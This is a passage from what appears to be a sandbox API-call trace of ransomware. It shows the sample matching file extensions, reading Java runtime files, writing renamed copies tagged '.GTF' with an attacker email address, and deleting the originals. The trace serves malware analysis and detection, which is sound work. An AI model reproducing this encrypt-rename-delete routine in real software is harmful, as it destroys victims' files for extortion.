	[0155.459] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0155.459] lstrlenW (lpString=".xls") returned 4
	[0155.459] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0155.459] lstrlenW (lpString=".xlsx") returned 5
	[0155.459] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0155.460] lstrlenW (lpString=".ppt") returned 4
	[0155.460] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".zip") returned 4
	[0155.460] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString=".rar") returned 4
	[0155.460] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString=".bz2") returned 4
	[0155.460] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0155.460] lstrlenW (lpString=".7z") returned 3
	[0155.460] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".dbf") returned 4
	[0155.460] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".1cd") returned 4
	[0155.460] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".jpg") returned 4
	[0155.460] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".doc") returned 4
	[0155.460] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0155.460] lstrlenW (lpString=".docx") returned 5
	[0155.460] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0155.460] lstrlenW (lpString=".pdf") returned 4
	[0155.460] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString=".xls") returned 4
	[0155.460] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString=".xlsx") returned 5
	[0155.460] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0155.460] lstrlenW (lpString=".ppt") returned 4
	[0155.460] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0155.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.460] lstrlenW (lpString=".zip") returned 4
	[0155.460] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0155.461] lstrlenW (lpString=".rar") returned 4
	[0155.461] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0155.461] lstrlenW (lpString=".bz2") returned 4
	[0155.461] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0155.461] lstrlenW (lpString=".7z") returned 3
	[0155.461] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0155.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.461] lstrlenW (lpString=".dbf") returned 4
	[0155.461] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0155.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.461] lstrlenW (lpString=".1cd") returned 4
	[0155.461] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0155.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.461] lstrlenW (lpString=".jpg") returned 4
	[0155.461] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0155.461] lstrcmpiW (lpString1=".pf", lpString2=".GTF") returned 1
	[0155.461] lstrlenW (lpString="sRGB.pf") returned 7
	[0155.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.462] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3144) returned 1
	[0155.462] CloseHandle (hObject=0x418) returned 1
	[0155.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20
	[0155.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.462] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.462] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.463] GetLastError () returned 0x0
	[0155.463] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xc48, lpOverlapped=0x0) returned 1
	[0155.470] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0155.471] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.471] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0155.471] SetEndOfFile (hFile=0x48c) returned 1
	[0155.471] CloseHandle (hObject=0x48c) returned 1
	[0155.471] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.471] SetEndOfFile (hFile=0x418) returned 1
	[0155.475] CloseHandle (hObject=0x418) returned 1
	[0155.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.475] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString=".doc") returned 4
	[0155.476] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".docx") returned 5
	[0155.476] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0155.476] lstrlenW (lpString=".pdf") returned 4
	[0155.476] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".xls") returned 4
	[0155.476] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".xlsx") returned 5
	[0155.476] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0155.476] lstrlenW (lpString=".ppt") returned 4
	[0155.476] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString=".zip") returned 4
	[0155.476] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".rar") returned 4
	[0155.476] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".bz2") returned 4
	[0155.476] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString=".7z") returned 3
	[0155.476] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString=".dbf") returned 4
	[0155.476] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString=".1cd") returned 4
	[0155.476] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0155.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.476] lstrlenW (lpString=".jpg") returned 4
	[0155.476] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString=".doc") returned 4
	[0155.477] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".docx") returned 5
	[0155.477] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0155.477] lstrlenW (lpString=".pdf") returned 4
	[0155.477] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".xls") returned 4
	[0155.477] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".xlsx") returned 5
	[0155.477] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0155.477] lstrlenW (lpString=".ppt") returned 4
	[0155.477] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString=".zip") returned 4
	[0155.477] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".rar") returned 4
	[0155.477] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".bz2") returned 4
	[0155.477] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString=".7z") returned 3
	[0155.477] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString=".dbf") returned 4
	[0155.477] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString=".1cd") returned 4
	[0155.477] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0155.477] lstrlenW (lpString=".jpg") returned 4
	[0155.477] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0155.477] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0155.478] lstrlenW (lpString="content-types.properties") returned 24
	[0155.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.478] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5548) returned 1
	[0155.478] CloseHandle (hObject=0x418) returned 1
	[0155.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20
	[0155.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.479] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.479] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.479] GetLastError () returned 0x0
	[0155.479] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x15ac, lpOverlapped=0x0) returned 1
	[0155.481] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x15b0, lpOverlapped=0x0) returned 1
	[0155.482] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.482] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x104, lpOverlapped=0x0) returned 1
	[0155.483] SetEndOfFile (hFile=0x48c) returned 1
	[0155.483] CloseHandle (hObject=0x48c) returned 1
	[0155.483] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.483] SetEndOfFile (hFile=0x418) returned 1
	[0155.485] CloseHandle (hObject=0x418) returned 1
	[0155.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.486] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1
	[0155.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.486] lstrlenW (lpString=".doc") returned 4
	[0155.486] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.486] lstrlenW (lpString=".docx") returned 5
	[0155.486] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.486] lstrlenW (lpString=".pdf") returned 4
	[0155.486] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.486] lstrlenW (lpString=".xls") returned 4
	[0155.486] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.486] lstrlenW (lpString=".xlsx") returned 5
	[0155.486] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.486] lstrlenW (lpString=".ppt") returned 4
	[0155.486] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".zip") returned 4
	[0155.487] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".rar") returned 4
	[0155.487] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".bz2") returned 4
	[0155.487] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".7z") returned 3
	[0155.487] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".dbf") returned 4
	[0155.487] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".1cd") returned 4
	[0155.487] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".jpg") returned 4
	[0155.487] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".doc") returned 4
	[0155.487] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".docx") returned 5
	[0155.487] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.487] lstrlenW (lpString=".pdf") returned 4
	[0155.487] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".xls") returned 4
	[0155.487] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".xlsx") returned 5
	[0155.487] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.487] lstrlenW (lpString=".ppt") returned 4
	[0155.487] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.487] lstrlenW (lpString=".zip") returned 4
	[0155.487] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.487] lstrlenW (lpString=".rar") returned 4
	[0155.487] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.488] lstrlenW (lpString=".bz2") returned 4
	[0155.488] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.488] lstrlenW (lpString=".7z") returned 3
	[0155.488] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.488] lstrlenW (lpString=".dbf") returned 4
	[0155.488] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.488] lstrlenW (lpString=".1cd") returned 4
	[0155.488] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0155.488] lstrlenW (lpString=".jpg") returned 4
	[0155.488] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.488] lstrcmpiW (lpString1=".data", lpString2=".GTF") returned -1
	[0155.488] lstrlenW (lpString="currency.data") returned 13
	[0155.488] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.488] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4122) returned 1
	[0155.489] CloseHandle (hObject=0x418) returned 1
	[0155.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20
	[0155.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.489] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.489] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.490] GetLastError () returned 0x0
	[0155.490] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x101a, lpOverlapped=0x0) returned 1
	[0155.491] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0155.839] ReadFile (in: hFile=0x418, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.839] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xee, lpOverlapped=0x0) returned 1
	[0155.839] SetEndOfFile (hFile=0x48c) returned 1
	[0155.839] CloseHandle (hObject=0x48c) returned 1
	[0155.839] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.839] SetEndOfFile (hFile=0x418) returned 1
	[0155.842] CloseHandle (hObject=0x418) returned 1
	[0155.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.218] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1
	[0156.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.241] lstrlenW (lpString=".doc") returned 4
	[0156.241] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0156.241] lstrlenW (lpString=".docx") returned 5
	[0156.241] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0156.241] lstrlenW (lpString=".pdf") returned 4
	[0156.241] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0156.241] lstrlenW (lpString=".xls") returned 4
	[0156.242] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".xlsx") returned 5
	[0156.242] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0156.242] lstrlenW (lpString=".ppt") returned 4
	[0156.242] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString=".zip") returned 4
	[0156.242] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".rar") returned 4
	[0156.242] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".bz2") returned 4
	[0156.242] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".7z") returned 3
	[0156.242] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString=".dbf") returned 4
